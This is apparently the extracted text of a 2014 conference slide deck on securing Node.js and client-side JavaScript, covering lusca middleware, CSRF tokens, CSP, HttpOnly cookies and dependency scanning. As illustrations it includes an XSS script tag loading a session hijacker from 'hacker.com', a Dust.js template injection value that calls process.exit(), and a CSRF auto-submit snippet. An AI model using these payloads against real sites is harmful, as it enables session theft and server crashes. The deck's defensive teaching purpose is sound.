Securing your JavaScript apps
SECURINGYOURJAVASCRIPTAPPS
View Slide
Node &Client-side JS
@mark_stuart@mstuart
How are youusing JavaScript?
Why security?
Not just PayPal,but your company too.
Web SecurityState of the Union2014
Same vulnerabilities.Nothing new.
ok cya.
Node
Know what you require()Rule #1 !!!
NPM has ~75,000 modules
Anyone can publish anything
And they can dosome terrible things
Use good security defaultsRule #2 !!!
Node is a set ofbarebones modules
HTTPOS DNSTLS/SSLPathProcessUDP URLFile System Crypto Buffer
Express is abarebones framework
Express does verylittle to secure your app
But, that’s okay!
… Drum roll …
Enterprise-gradeExpress
LuscaApp Security module for Express
var express = require(‘express’),app = express(),lusca = require(‘lusca’);
app.use(lusca.csrf());app.use(lusca.csp({ /* ... */ }));app.use(lusca.hsts({ maxAge: 31536000 });app.use(lusca.xframe('SAMEORIGIN'));app.use(lusca.p3p('ABCDEF'));app.use(lusca.xssProtection(true);
Pardon the interruption
CSRF
Trick victim’s browser intomaking malicious requestsCSRF
All you need is a valid cookie.CSRF
CSRF"Victimsomebank.com#Cookie
CSRF"Victimhackedsite.comsomebank.comCookie
CSRFtransferFunds”>!document.forms.someHiddenForm.submit();
It’s still just an HTTP request.CSRF
If only we had a way to ensurerequests were legitimate…CSRF
lusca.csrf();
Token synchronizer patternlusca.csrf();
1. Creates a random tokenlusca.csrf();(using some crazy crypto libraries)
2. Adds token to res.localslusca.csrf();
3. Dump token on the pagelusca.csrf();
4. Send token with everyPOST, PUT, DELETE requestlusca.csrf();
$.ajaxPrefilter(function(options, _, xhr) {if (!xhr.crossDomain) {xhr.setRequestHeader('X-CSRF-Token', csrfToken);}});lusca.csrf();
lusca.csrf();5. Verify token is correct,otherwise return 403.
CSP
CSP is really awesome.
It’s basically a whitelist.
Content-Security-Policy:default-src 'self' https://*.your-cdn.com;script-src 'self' https://*.your-cdn.com;img-src https://*.your-cdn.com data:;object-src 'self';font-src 'self' https://*.googlefonts.com;connect-src …frame-src …style-src …media-src …
lusca.csp( { /* … */ } );
lusca.csp({"default-src": "'self' https://*.your-cdn.com”,"script-src": “'self' https://*.your-cdn.com”,"img-src": “https://*.your-cdn.com data:”,"font-src": “‘self’",“report-uri”: “https://mysite.com/cspReporter”});
“report-uri”: “https://mysite.com/cspReporter”
lusca.hsts();
lusca.hsts();Ensures HTTPS traffic
lusca.hsts();Helps prevent MITM attacks
lusca.xframe();
lusca.xframe();Prevent others from loadingyour app in an iframe
app.use(lusca.xssProtection());app.use(lusca.p3p());
HTTPOnly cookies
Prevents session hijackingHTTPOnly cookies
app.use(express.session({secret: ‘0m6!s3cr37’,cookie: { httpOnly: true, secure: true },}));HTTPOnly cookies
Set-Cookie:!connect.sid=%3AbzLqvcp7DnQJMaLAPmJ7p; !Path=/; Expires=Wed, 21 May 2014 18:26:44 GMT;HttpOnlyHTTPOnly cookies
Handle errors, or crash.Rule #3 !!!
!Wed, 21 May 2014 18:49:00 GMT !uncaughtException Object # has no method ‘forEach'!!TypeError: Object # has no method 'forEach'!at module.exports.fetchSettings (/Users/marstuart/oddjob/helpers.js:174:18)!!Process finished with exit code 1!
Basically, a DOS attack
Either catch them,or restart
Eval is still evilRule #4 !!!
Node is still JavaScript
Dust.js{@if cond=“{cardType} === ‘VISA’”}{/if}
Node Security Projecthttp://nodesecurity.io
Audit all modules in NPM
Contribute patches
Educate others
Scan for vulnerable modulesRule #5 !!!
npm install grunt-nsp-package —save-devgrunt validate-package
Make it a part of your CI
Update your dependenciesRule #6 !!!
Add a badge to your README
david-dm.org
ESLint custom rules
Let’s recap…
1. Know what you’re require()’ing2. Node is still JavaScript3. Use good security defaults4. Security can be automated, too!
Client-side JS
Content injection
XSS sucks. It’s everywhere.
Escape everything.Rule #1 !!!
<script src='http://hacker.com/sessionhijacker.js'></script>
User input and“backend” data
Persistent or Stored XSS
"Attackeryoursite.comPUT /account/edit{ firstName: ‘…’ }<br/>"<br/>Victim<br/>"<br/>Victim<br/><script>…GET /addressBook…GET /addressBookyoursite.comyoursite.com
Don’t trustbackend servicesto escape properly
Know your templating library.Rule #2 !!!
Use it properly.
Underscore templates
” />” />
Dust.js templates
{@if cond=“{cardType} === ‘VISA’”}{/if}
{@if cond=“{zipCode} === {defaultZipCode}”}{/if}{“zipCode”: “\\”,“defaultZipCode”: “);process.exit();//“}
Your server’s crashed.$
Upgrade your front-enddependencies.Rule #3 !!!
Retire.js
jQuery <1.9.0jQuery Mobile <1.0.1Backbone <0.5.0Angular <1.2.0Handlebars <1.0.0YUI <3.5.0Ember <1.3.0Mustache <0.3.1
Running "retire:jsPath" (retire) task!!>> test-files/jquery-1.6.js!>> ↳ jquery 1.6 has known vulnerabilities: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4969!!>> Aborted due to warnings.npm install grunt-retire --save-devgrunt retire
Automate it!
Rules of Thumb
No matter what you do,someone will alwaysfind a way in
But, you’ll get 80% thereif you…
Choose libraries withgood security defaults.!!!
Sanitize data coming inand going out.!!!
Update your dependencies!!!!
Automate security, too.!!!
thanks!
mark stuart@mark_stuart@mstuart
Linkshttps://github.com/nodesecurity/grunt-nsp-packagehttps://github.com/bekk/grunt-retirehttps://nodesecurity.io/https://github.com/evilpacket/helmethttp://krakenjs.com/https://github.com/krakenjs/luscahttps://david-dm.org/https://www.owasp.org/index.php/Cross-Site